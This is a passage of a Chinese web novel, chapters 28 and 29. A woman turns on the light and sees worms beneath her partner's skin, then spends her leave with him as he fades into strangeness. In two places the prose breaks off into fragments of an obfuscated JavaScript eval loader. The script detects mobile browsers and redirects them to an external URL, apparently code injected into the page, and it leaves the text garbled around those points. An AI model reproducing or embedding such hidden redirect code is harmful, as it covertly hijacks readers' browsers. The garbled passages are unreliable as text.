等他睡熟。 等那一刻。 时间过得很慢。 一分钟像一小时。 一小时像一天。 她盯着天花板,数着自己的心跳。 咚,咚,咚。 三百下。 五百下。 一千下。 她想起他说的话。 “你开灯的时候,会看见我真正的样子。会很可怕。” 真正的样子。 是什么样子? 她见过那些虫子了。 她见过他眼睛发光了。 还能更可怕吗? 她不知道。 但她知道,她必须看。 八 终于,窗外的路灯暗了一点。 凌晨三点。 她慢慢坐起来。 下床。 光着脚,走到卧室门口。 手放在开关上。 回头看他。 黑暗里,只能看见一个轮廓。 那个轮廓,和平时一样。 她深吸一口气。 按下去。 灯亮了。 九 灯光亮起的那一刻,她看见了。 那张脸,还是他的脸。 但皮肤底下,有东西在动。 无数的虫子。 细细的,白白的,在皮下蠕动。 从额头爬到脸颊,从脸颊爬到脖子,从脖子爬到胸口。 不止是脸。 整个身体都是。 那些虫子,密密麻麻,一层一层,在他皮肤底下钻来钻去。 它们挤在一起,扭动着,翻滚着,像一锅煮沸的水。 他的眼睛睁开了。 那两只眼睛,发着光。 盯着她。 不是愤怒。 不是恐惧。 是一种……空洞。 像在看一个东西。 她站在原地,动不了。 他慢慢坐起来。 看着她。 那些虫子从他眼角钻出来,从他鼻孔钻出来,从他耳朵钻出来。 白白的,细细的,爬满他整张脸。 它们从他嘴里爬出来,一条一条,落在他胸口,落在他腿上,落在床上。 床上已经爬满了虫子。 它们在他身下蠕动,把他托起来。 他坐在一堆虫子上,看着她。 他开口。 “你看见了。” 那个声音,不是他的。 是很多声音叠在一起。 有男的,有女的,有老的,有少的。 像无数个人在同时说话。 她往后退了一步。 他站起来。 虫子从他身上流下来,像水一样,落在地上。 他踩在虫子上,一步一步,走向她。 走到她面前。 低头看着她。 那些虫子从他身上掉下来,落在地上,往她脚边爬。 她低头看。 那些虫子,白白的,细细的,像蛆,但比蛆细。 它们爬到她脚边,停住了。 没有爬上来。 就停在脚边,围成一圈。 一圈,两圈,三圈。 把她围在中间。 像在等什么。 他伸出手。 那只手,已经不是手了。 是一团虫子。 无数的虫子,聚在一起,形成手的形状。 那团虫子,伸到她面前。 停住。 “你不怕?”那个声音问。 陈默看着那团虫子。 看着那些蠕动的、白白的、细细的东西。 她怕。 她怕得要死。 她怕得腿都在抖。 但她想起他说的话。 “你不能怕。你怕了,它就会更强。” 她深吸一口气。 “不怕。” 那团虫子顿住了。 然后,它开始颤抖。 不是害怕的颤抖。 是愤怒的颤抖。 那些虫子扭动得更厉害了,发出细细的嘶嘶声。 “你骗人。”那个声音说,“你怕。你的腿在抖。你的心跳在加快。我都听得见。” 陈默咬着牙。 “我不怕。” 那团虫子更愤怒了。 它往前伸了一点,快要碰到她的脸。 那些虫子,就在她眼前,扭动着,翻滚着。 她能闻见它们身上的味道。 那股油味。 原来是从它们身上发出来的。 “你怕。”那个声音说,“你怕死。你怕变成我们这样。你怕你也会变成它。” 陈默闭上眼睛。 脑子里全是他的声音。 “你不能怕。你怕了,它就会更强。” 她睁开眼。 看着那团虫子。 “我不怕。”她说,“因为我知道,你不是它。你只是它养出来的东西。真正的他,还在里面。” 那团虫子愣住了。 然后,它散开了。 虫子落在地上,和脚边的那些汇在一起。 他站在她面前。 那张脸,又变回他的脸了。 干干净净的。 没有虫子。 没有光。 就是一张普通的、中年男人的脸。 他看着她。 那眼神,是她熟悉的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387640|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >是清醒的他。 “第三条破了。”他说。 十 他往前迈了一步。 虫子在他脚边散开,给他让出一条路。 他走到她面前。 伸出手。 那只手,又变回手了。 温的。 放在她脸上。 “谢谢你。”他说。 她看着他。 “谢什么?” “谢谢你没怕。”他笑了,“你刚才要怕了,它就赢了。” 她愣住。 “赢了?” “它想让你怕。怕了,它就能从你身上也长出来。”他顿了顿,“但它没想到,你比我勇敢。” 她不知道该说什么。 他看着她的眼睛。 “陈默,第四条你已经破了。第五条,就是那三个字。” 她点头。 “我知道。” “破了这条,我就没了。它会消失。你会自由。” 她看着他。 “那你呢?” 他愣了一下。 “什么?” “你会怎么样?” 他笑了。 那个笑,带着苦涩。 “我会消失。彻底消失。像没存在过一样。” 她张了张嘴。 想说点什么。 但不知道说什么。 他看着她的眼睛。 “陈默,你确定要我消失吗?” 她没说话。 他继续说。 “我消失了,你就真的一个人了。没有我,没有老张,没有老人。只有你自己。” 她攥紧手指。 “你确定你准备好了吗?” 他的眼睛开始闪烁。 光在亮。 “陈默,我——” 话没说完。 光完全亮了。 他闭上眼。 再睁开的时候,那双眼睛,又变回空洞的了。 他看着她。 笑了一下。 “怎么了?” 陈默摇摇头。 “没事。” 他点点头,躺回床上。 继续睡。 十一 陈默站在那儿,看着床上的他。 灯还亮着。 他睡着,呼吸均匀。 皮肤底下,没有虫子。 就是一张普通的、中年男人的脸。 她看着那张脸,看了很久。 脑子里反复响着他最后那句话。 “你确定你准备好了吗?” 准备好了吗? 她不知道。 她一直想要他消失。 想要自由。 想要结束这一切。 但他说,他消失了,她就真的一个人了。 没有他。 没有老张。 没有老人。 只有她自己。 她想起三年前的他。 那个会逗她笑的他。 那个会等她下班的他。 那个收到她送的夹克会眼睛发亮的他。 他还活着吗? 还在那个身体里吗? 还是已经彻底被它取代了? 她不知道。 但她知道,刚才他清醒的时候,看她的眼神,和三年前一样。 那是真的他。 十二 她走到床边。 坐下。 看着他。 他睡着,像个正常人。 她伸出手,碰了碰他的脸。 凉的。 但比之前温了一点。 也许是因为灯开着。 也许是因为虫子回去了。 也许是因为别的什么。 她不知道。 她只是看着他。 看了很久。 然后她躺下来。 在他旁边。 盯着天花板。 灯还亮着。 她没有关。 她不想关。 她怕一关灯,又会看见那些发光的眼睛。 虽然她知道,它们不会再出现了。 至少今晚不会。 她盯着天花板。 脑子里反复想着那个问题。 你确定你准备好了吗? 她不知道。 但她知道,她还有时间。 第五条规则,还没破。 她还可以再想想。 想清楚。 她闭上眼睛。 慢慢睡着了。 十三 这一夜,她没有做梦。 睡得很沉。 醒来的时候,天已经亮了。 阳光从窗帘缝里漏进来,照在床上。 她转过头。 王志强不在旁边。 她坐起来。 下床。 走到客厅。 他坐在沙发上,看电视。 和每天一样。 听见脚步声,他转过头,笑了一下。 “早。” 陈默点点头。 “早。” 她走过去,在他旁边坐下。 他伸手搂她。 她靠在他身上。 那股油味,还在。 但好像淡了一点。 也许是她的错觉。 她不知道。 她只知道,从今晚开始,她不会再怕了。 --- 第二十八章完 29. 第二十九章 再等等 第二十九章再等等 一 开灯那一夜之后,陈默又等了七天。 不是不想继续,是不敢问那句话。 最后一条规则。 那三个字。 她知道,只要问出来,他就没了。 彻底消失。 像没存在过一样。 她还没准备好。 二 这七天里,王志强越来越怪。 不是那种很明显的变化——他每天早上还是坐在沙发上看电视,每天晚上还是躺在她旁边睡觉,还是会笑一下说“回来了?”。 但细节不对。 吃饭的时候,他拿着筷子,会愣住。盯着碗里的饭,一动不动,像被按了暂停键。最长的一次,她数着,愣了三分钟。然后他突然回过神,继续吃,好像什么都没发生过。 她问他:“刚才想什么呢?” 他抬头看她,眼神空洞。 “什么刚才?” 看电视的时候,他会对着屏幕笑。但屏幕上放的明明是新闻,主持人一脸严肃地说着什么经济形势,他却笑得很大声。笑完了,转过头看她。 “怎么了?” 她摇头。 他继续看。 继续笑。 睡觉的时候,他不再躺着了。他坐着,坐在床上,背靠着床头,眼睛盯着黑暗里的某个方向。她半夜醒来,就看见那个黑影,一动不动,像个雕塑。 她不敢出声。 就那么看着。 看很久。 然后他转过头,看着她。 那双眼睛,在黑暗里,发着光。 “睡不着?”他问。 声音和平时一样。 她摇头。 “睡得着。” 他点点头。 继续坐着。 继续盯着黑暗。 三 第七天晚上,陈默做了一个决定。 她请了年休假。 五天。 她想多陪陪他。 想多看看他。 在他说那三个字之前。 四 年休假第一天。 早上醒来,阳光从窗帘缝里漏进来,照在床上。她转过头,王志强已经不在旁边了。 她坐起来,下床,走到客厅。 他坐在沙发上,看电视。和每天一样。 听见脚步声,他转过头,笑了一下。 “早。” 陈默点点头。 “早。” 她走过去,在他旁边坐下。他伸手搂她,她靠在他身上。那股油味飘进鼻子里,比之前淡了一点,但还是能闻见。 “今天不上班?”他问。 她摇头。 “休假了。五天。” 他看着她。 那眼神,有点奇怪。不是空洞,是别的什么。她看不懂。 “那你想去哪儿?”他问。 她想了想。 “去农贸市场买菜吧。好久没一起买菜了。” 他点头。 “好。” 五 农贸市场人很多,周末,到处都是拎着菜篮子的大爷大妈,推着小车的商贩,跑来跑去的小孩。 王志强牵着陈默的手,在人群里穿行。 他的手是温的。 她低头看了一眼。 那只手,骨节分明,手背上有一点老年斑。三年前还没有的。 她握紧了。 他感觉到,低头看她。 “怎么了?” 她摇头。 “没什么。” 他继续往前走。 她跟着。 六 他们先去了蔬菜区。 他拿起一把青菜,看了看,放进袋子里。又拿起几个西红柿,捏了捏,也放进去。 她站在旁边,看着他。 “你还会挑菜?”她问。 他愣了一下。 “不会。” “那你刚才在干什么?” 他看着手里的西红柿,沉默了几秒。 “不知道。” 那个“不知道”,说得太平静了。平静得让人害怕。 她没再问。 七 走到肉摊前,他停下来。 “买五花肉?” 她点头。 他跟老板要了一块,称了,付钱。 然后站在那儿,没动。 她看着他。 “怎么了?” 他看着那块肉,看了很久。 “你以前给我做过红烧肉。” 她点头。 “做过。” “好吃吗?” 她想了想。 “第一次做的时候,有点咸。但你都说好吃。” 他笑了。 那个笑,很短,就一下。 “后来呢?” “后来……”她顿了顿,“后来我就不做了。” 他看着那块肉,没说话。 然后他把肉放进袋子里,继续往前走。 八 路过卖咸菜的摊子,她停下来。 老婆婆还是那个老婆婆,穿着旧棉袄,戴着毛线帽,面前摆着几个大盆。糖蒜,萝卜干,雪里蕻。 “买点糖蒜?”他问。 她点头。 他蹲下来,和老婆婆聊起来。 “婆婆,这糖蒜怎么卖的?” “十块一斤,自己家腌的,好吃得很。” 他捡了几个,称了,付钱。 站起来的时候,看见旁边有卖橘子的。 又买了几个橘子。 她站在旁边,看着他。 他突然转过头。 “你看着我干什么?” 她愣了一下。 “没什么。” 他看着她。 那眼神,不是空洞。是别的。 “你是不是觉得我奇怪?” 她没说话。 他等了一会儿,没等到回答,转身继续往前走。 九 回到家,他钻进厨房,开始忙活。 她换了衣服,站在厨房门口看他。 他切菜,炒菜,炖汤。动作很熟练。 但她注意到一个细节。 他切菜的时候,会停下来,看着刀。 看着刀刃。 看很久。 然后继续切。 她走进去。 “怎么了?” 他看着刀。 “这把刀,我以前用过。” 她点头。 “一直在用。” 他沉默了一下。 “我不记得了。” 十 吃饭的时候,他给她夹了好多菜。 “多吃点。” 她低头吃着,没说话。 他坐在对面,自己也吃着。 阳光从窗户照进来,落在他身上,落在他脸上。 她看着那张脸。 高挺的鼻梁,微凸的嘴,连成一片的下巴。三年前就是这样,三年后还是这样。 但有什么东西不一样了。 她说不出来。 他抬起头,发现她在看他。 “怎么了?” 她摇头。 “没什么。” 他笑了。 继续吃。 十一 吃完饭,他收拾碗筷。 她坐在沙发上,听着厨房里的水声。 水哗哗响着。 然后水声停了。 她等了一会儿,他没出来。 她站起来,走到厨房门口。 他站在水槽前,没动。 水龙头开着,水哗哗流着,他站在那儿,看着水流。 她走过去,关掉水龙头。 他转过头,看着她。 那双眼睛,在厨房的灯光下,有一点发亮。 “我站在这里干什么?”他问。 她看着他。 “你在洗碗。” 他低头看自己的手。 手是湿的。 但碗还在水槽里,没洗。 十二 下午,陈默说想去公园。 他看着她。 “哪个公园?” “就以前常去的那个。” 他想了想。 “好。” 十三 公园很大,人不多。冬天的公园,树都光秃秃的,湖面结了一层薄冰。有几只野鸭在冰面上走,滑来滑去的。 他们沿着湖走。 她挽着他的胳膊。 他走得慢,她也走得慢。 走到湖对岸的时候,她停下来。 看着一块空地。 “你还记得这儿吗?”她问。 他看着那块空地,没说话。 她继续说。 “以前冬天的时候,这儿有人租爬犁子。十块钱一个小时。” 他听着。 “有一年咱们来玩,你让我坐上去,你在后面推。” 他点点头。 “记得。” 她笑了。 “你推得太猛了,自己摔了一跤,手腕窝了。” 他也笑了。 “疼死我了。” 十四 她从口袋里掏出手机,翻了一会儿。 找到了。 “你看,我还录了视频。” 她把手机递给他。 屏幕上,三年前的他坐在地上,捂着手腕,脸都皱成一团。 “疼死我了——哎哟——你倒是扶我一把啊——” 她的声音从画外传来:“你先让我笑一会儿。” “陈默你没良心——哎哟——” 她笑了很久,才过去扶他。 视频里,她扶他站起来,他还捂着手腕。 “不行不行,太疼了,得去医院。” “去什么医院,找个正骨大夫就行。” “哪有正骨大夫?” “我搜搜……附近有一个,评分挺高。” 然后画面一转,到了一个老中医的诊所。 门面很小,里面摆着几张椅子,墙上挂着一面锦旗,写着“妙手回春”。 他坐在凳子上,一个老头儿捏着他的手腕。 老头儿穿着白大褂,戴着老花镜,头发花白。 “忍着点啊。”老头儿说。 他点头。 老头儿一用力。 他嚎了一嗓子。 “啊——!” 她的笑声从画外传来,停都停不住。 老头儿也笑了。 “小伙子,你这不行啊,这点疼都忍不了?” 他脸都红了。 “不是……您轻点儿……” 老头儿继续拧。 他又嚎。 她笑得蹲在地上。 旁边等着看病的人都看着他们,有人也在笑。 老头儿拧了几下,松了手。 “好了。” 他活动了一下手腕,愣住了。 “真不疼了?” 老头儿推了推眼镜。 “我干这行四十年了,还能骗你?” 他站起来,活动着手腕,一脸不可思议。 她还在笑。 他瞪她。 “你还笑?” 她笑得说不出话,只是点头。 他走过去,用那只刚治好的手腕,一把搂住她。 “别笑了。” 她把脸埋在他胸口,还在笑。 视频结束。 十五 他盯着屏幕,看了很久。 然后他笑了。 那个笑,是真的。 “后来呢?视频怎么没了?” “后来我笑得拿不稳手机,就没录了。” 他摇头。 “你真是……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387641|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她笑。 “我怎么了?我帮你记录了珍贵的历史瞬间。” 他看着她。 “那手腕后来养了多久?” “一个月。”她说,“你天天跟我抱怨,说都怪我,非要去玩什么爬犁子。” “我说的不对吗?” “对,你说的都对。” 他笑了。 两个人站在冬天的公园里,对着手机笑。 笑完了,他把手机还给她。 看着她。 “你还留着?” 她点头。 “一直留着。” 他沉默了一下。 然后伸出手,把她搂进怀里。 她靠在他身上。 他的心跳。 咚,咚,咚。 “陈默。”他开口。 “嗯?” “谢谢你还留着。” 她没说话。 只是抱紧了他。 十六 从公园出来,天已经快黑了。 他们沿着街慢慢走。 路过一家奶茶店,她停下来。 他看着她。 “想喝?” 她点头。 他走进去,买了两杯柠檬红茶,少冰少糖。 和她的一样。 他递给她一杯。 她接过来,喝了一口。 冰的,涩的。 他看着她喝。 “好喝吗?” 她点头。 他笑了。 两个人站在奶茶店门口,喝着奶茶。 她看着他。 他的侧脸,在路灯下,很清晰。 高挺的鼻梁,微凸的嘴,连成一片的下巴。 三年前就是这样。 三年后还是这样。 但他还能这样多久? 她不知道。 十七 晚上,他们又一起看电视。 她靠在他身上。 他搂着她。 电视里放着什么综艺节目,罐头笑声一阵一阵的。 她有点困了。 眼皮越来越沉。 他低头看她。 “困了?” 她点点头。 “睡吧。” 她闭上眼睛。 枕着他的胳膊。 他调整了一下姿势,让她枕得更舒服。 他的心跳。 咚,咚,咚。 她想起刚在一起的时候。 那时候他们也这样。 周末的下午,窝在沙发上,看电视。 看着看着她就困了。 枕着他胳膊睡觉。 一睡就是一下午。 醒来的时候,他还在看。 胳膊一直没动。 她问他:“你胳膊不麻吗?” 他笑,说:“麻。但不想动。怕吵醒你。” 现在她又枕着他的胳膊。 听着他的心跳。 闻着那股淡淡的油味。 她闭上眼睛。 十八 醒来的时候,天已经黑了。 电视还开着,放什么她不知道。 他还在看。 胳膊一直没动。 她抬起头。 “你胳膊不麻吗?” 他低头看她。 笑了。 那个笑,和以前一样。 是真的。 “麻。但不想动。怕吵醒你。” 她的眼眶酸了。 她把脸埋在他胸口。 他的心跳。 咚,咚,咚。 她想起那个冬天。 他推爬犁子摔倒了,手腕崴了,疼得大喊大叫。 她录了视频,笑得直不起腰。 后来她扶他去找正骨大夫。 老头儿一上手,他又嚎。 她又在旁边笑。 笑完了,帮他揉手腕。 他看着她,说:“疼死我了,你还笑。” 她说:“我心疼着呢。但真的好笑。” 他也笑了。 那时候她以为,他们会一直这样。 一直在一起。 一直笑。 现在她知道了。 没有什么是一直。 但她还是想多待一会儿。 多一天。 多一小时。 多一分钟。 十九 半夜,她醒了。 他不在旁边。 她坐起来,下床。 走到客厅。 他坐在沙发上。 没看电视。 就那么坐着。 盯着黑暗。 她走过去,在他旁边坐下。 他转头看她。 那双眼睛,在黑暗里,发着光。 “睡不着?”他问。 她摇头。 “醒了。” 他点点头。 两个人就这么坐着。 盯着黑暗。 很久很久。 然后她靠在他身上。 他伸手搂她。 她把脸埋在他胸口。 他的心跳。 咚,咚,咚。 “王志强。”她开口。 “嗯?” “你害怕吗?” 他没说话。 过了一会儿,他开口了。 “怕。” 她抬起头,看着他。 黑暗里,只能看见他的轮廓。 “怕什么?” 他沉默了很久。 然后他说: “怕有一天,我醒过来,发现你已经不在了。” 她的眼泪流下来了。 她把脸埋回他胸口。 他搂紧她。 两个人就这么坐着。 一直坐到天亮。 --- 第二十九章完